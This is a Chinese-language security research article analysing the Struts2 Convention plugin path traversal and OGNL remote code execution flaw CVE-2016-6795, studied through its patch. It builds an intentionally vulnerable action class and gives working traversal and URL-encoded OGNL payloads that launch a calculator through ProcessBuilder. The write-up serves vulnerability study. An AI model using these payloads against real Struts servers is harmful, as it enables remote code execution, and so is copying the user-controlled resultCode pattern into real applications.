剑客
关注科技互联网

Struts Convention插件漏洞(CVE-2016-6795)分析

*本文原创作者:angelwhu,转载须注明来自FreeBuf.COM。

0×00 漏洞简介

struts2漏洞往往一出来就挺火的,但不乏一些利用条件比较苛刻的。而在上个月就发布了一个等级为高的漏洞。本着学习的态度,把这个漏洞从源码角度分析下。并分享下自己分析漏洞的方法和过程。

先来看看这个漏洞官方介绍,详情请看 官方公告

  • 漏洞描述: Struts Convention插件可能导致任意路径遍历

  • 漏洞具体问题:

It is possible to prepare a special URL which will be used for path traversal and execution of arbitrary code on server side.

  • 最大危险评级: High

  • 影响范围: Struts 2.3.20 – Struts 2.3.31

可以看到: 漏洞标题只是说可以路径遍历。而在具体描述中指出可以执行任意代码,危害等级才有如此高。

在网上搜了搜,没有关于此漏洞的具体分析。因此,本文对于漏洞的理解,只是个人见解~ 如有遗漏与不足,还望指正。

0×01 Convention插件

既然问题出现在Convention插件上,那么必然先要了解这个插件的作用。

Convention惯例 的意思。在进行struts2开发时,需要在配置文件( struts.xml )中写一个个 action ,和对应返回结果的 result (可以理解为前端返回的jsp文件)。

但是,写的 action 多了,配置起来就显得特别繁琐了。 struts2 Convention 插件可以完全抛弃配置,也就是 约定优于配置 。官方给的一个图表:

Struts Convention插件漏洞(CVE-2016-6795)分析

以第一个为例:当我们访问 /hello url时,不需要进行任何配置。struts2会自动寻找 HelloAction 类。该类执行完成后,返回一个 resultCode (这里是 success )。然后, Struts2 会在默认路径下找 hello.jsp , hello.html , hello-success.jsp 等文件,返回给用户。

具体的规范还有很多,具体可以看官方文档学习学习。总之,Convention插件提供了一系列的规范,来使程序员不用写繁琐的配置文件,就能轻松的编写代码。

0×02 补丁分析

Struts在2.3.31版本中,修复了这个问题。于是,可以在github上找找这个版本的修改地方。找到了这样两个相关性修改。看看就觉得应该是的:

Struts Convention插件漏洞(CVE-2016-6795)分析 Struts Convention插件漏洞(CVE-2016-6795)分析

找到修改的两个类文件 ConventionsServiceImpl.javaConventionUnknownHandler.java 。结合修改的描述,可以初步这样判断:

1. 可以跨目录读取文件

文件中加了这样一个判断:

if (resource != null && resource.getPath().endsWith(path)) {

证明对传入的 path 变量可以利用 ../ 进行跨目录读取文件。该行代码就是进行了二次检测(Adds double check if resource exists)。

2. path 路径变量可以执行 OGNL 代码

对于第二个补丁修改,类中加了这个函数:

private ResultTypeConfig disableParse(ResultTypeConfig resultConfig) {
    if (resultConfig != null) {
     return new ResultTypeConfig.Builder(resultConfig).addParam("parse", "false").build();
    }
    return null;
}

在Struts2的Result类中,有一个 parse 属性,默认为 true 。跟 S2-016 漏洞最后到达的利用点一样。证明我们可以在路径变量中,加入 OGNL 代码,进行远程代码执行攻击。

0×03 利用方法与调试分析

通过对补丁的分析,我们找到了触发漏洞的点。现在,缺少利用点,进行实际攻击。

以下情况,只是个人分析的情况。如果有更好的利用场景,或者利用点。请不吝赐教。

控制resultCode

阅读源码,发现该插件的关键类为 ConventionUnknownHandler 。它继承了 UnknownHandler 接口,当struts在配置文件中无法找到 actionResult 时,会分别调用 handleUnknownAction 方法和 handleUnknownResult 方法。

之后按照上面对应的规范,去寻找 action 类和 Result

Eclipse里面有个 open call hierarchy ,可以看到调用层次关系。看 ConventionUnknownHandler 类中的 findResult 函数。 可以看到基本的调用关系:

经过源码分析,找到两个可能控制的点:

  • (1) actionName : 直接url输入,但是经过了各种过滤。没法很好利用~
  • (2) resultCode : 需要程序员编码时,让我们可控~

下面就第二种情况,编码一个场景进行分析。若能找个非常容易控制 resultCode 的方法,那就更好了~~

1. 测试环境搭建

  • (1) struts版本: struts2.3.24.1
  • (2) convention插件版本: struts2-convention-plugin-2.3.24.1

struts2-convention-plugin-2.3.24.1.jar 复制到 /WEB-INF/lib 目录下。

2. 样例代码

新建一个GoAction类,放在 action 包下( convention 插件的默认约定位置)。

package action;

import com.opensymphony.xwork2.ActionSupport;

public class GoAction extends ActionSupport {

    private String go;
    private String methodToOGNL;

    public String execute(){
        return go;  //方法的返回值,即为resultCode
    }

    public String getGo() {
        return go;
    }
    public void setGo(String go) {
        this.go = go;
    }
    public String getMethodToOGNL() {
        return methodToOGNL;
    }
    public void setMethodToOGNL(String methodToOGNL) {
        this.methodToOGNL = methodToOGNL;
    }        
}

/WEB-INF/content 目录下,新建一个 admin.jsp :

<body>
      Hello Admin~~ <br>
  </body> 

3. 攻击和调试分析

上述代码目的是,让 GoAction 起到一个跳转功能。

admin用户 经过验证,需要跳转到 jsp 页面时。 直接访问 url : /go?go=admin ,此时的 resultCodeadmin 。 通过 convention 插件,会在 /WEB-INF/content 找到 admin.jsp ,返回给用户。

Struts Convention插件漏洞(CVE-2016-6795)分析

此时,我们就可以通过 go 参数来控制 resultCode

(1) 遍历目录读取文件

不防先试试跨目录。测试Payload为:

http://localhost:8080/MyStruts2Test/go?go=../content/admin

这样也成功找到了 admin.jsp

然后,在 /WEB-INF/ 下新建一个 hack.jsp文件 。简单的跨目录读取成功:

Struts Convention插件漏洞(CVE-2016-6795)分析

能够跨目录,看看能不能任意读取文件~

ConventionUnknownHandler 类打断点,可以看到它的寻找文件过程。令我遗憾的是,在整个过程中,都会加路径后面带上后缀 .ext 。而这个后缀限定为:

[jspx, vm, jspf, jsp, ftl, html, htm]

Struts Convention插件漏洞(CVE-2016-6795)分析

暂时没有找出截断文件名等方法,读取任意文件~ 如果有人能有好的方法,请告知~

(2)执行任意代码

在补丁分析时,我们看到修补了一个 Result 执行命令。于是,我们可以在 resultCode 中嵌入 ognl 代码试试~ 我们最后要找到 admin.jsp 文件,于是在路径中嵌入了如下Payload:

http://localhost:8080/MyStruts2Test/go?go=%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin

打断点分析可以看到:

Struts Convention插件漏洞(CVE-2016-6795)分析

找到 admin.jsp 文件后的Result为 org.apache.struts2.dispatcher.ServletDispatcherResult 对象,并且 parse 属性为true。 location 属性中带有OGNL语句,和S2-016漏洞一样,成功运行植入的代码,弹出计算器:  

Struts Convention插件漏洞(CVE-2016-6795)分析

(3)另一种控制 resultCode 方法  

可能注意到了 methodToOGNL 这个变量没有用,当我们可以选择调用 action 的某个方法时,比如 还有最近出现的 rest 插件或者 打开 动态方法调用

<constant name="struts.enable.DynamicMethodInvocation" value="true" />

于是就有了如下payload:

http://localhost:8080/MyStruts2Test/go!getMethodToOGNL?methodToOGNL=%24%7B%23_memberAccess%5B%22excludedClasses%22%5D%3D%7B1%7D%2Cnew%20java.lang.ProcessBuilder%28%27calc%27%29.start%28%29%7D%2f..%2fadmin

我调用了 getMethodToOGNL 方法,返回 methodToOGNL 变量的值。就能简接控制 resultCode 了。当然成功弹出计算器。这种情况,相比前面的情况。恐怕就要普遍些了吧~

条件: 只需 action 中有个 String 变量即可。

各位可以想想,还有其他好玩的利用场景不~~

0×04 思考与总结

通过补丁分析得到漏洞触发点。然后,通过学习分析源码,复现分析~可以学到很多知识。

0×05 参考链接

http://struts.apache.org/docs/s2-042.html

http://blog.csdn.net/zhyh1986/article/details/7924674

*本文原创作者:angelwhu,转载须注明来自FreeBuf.COM。

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址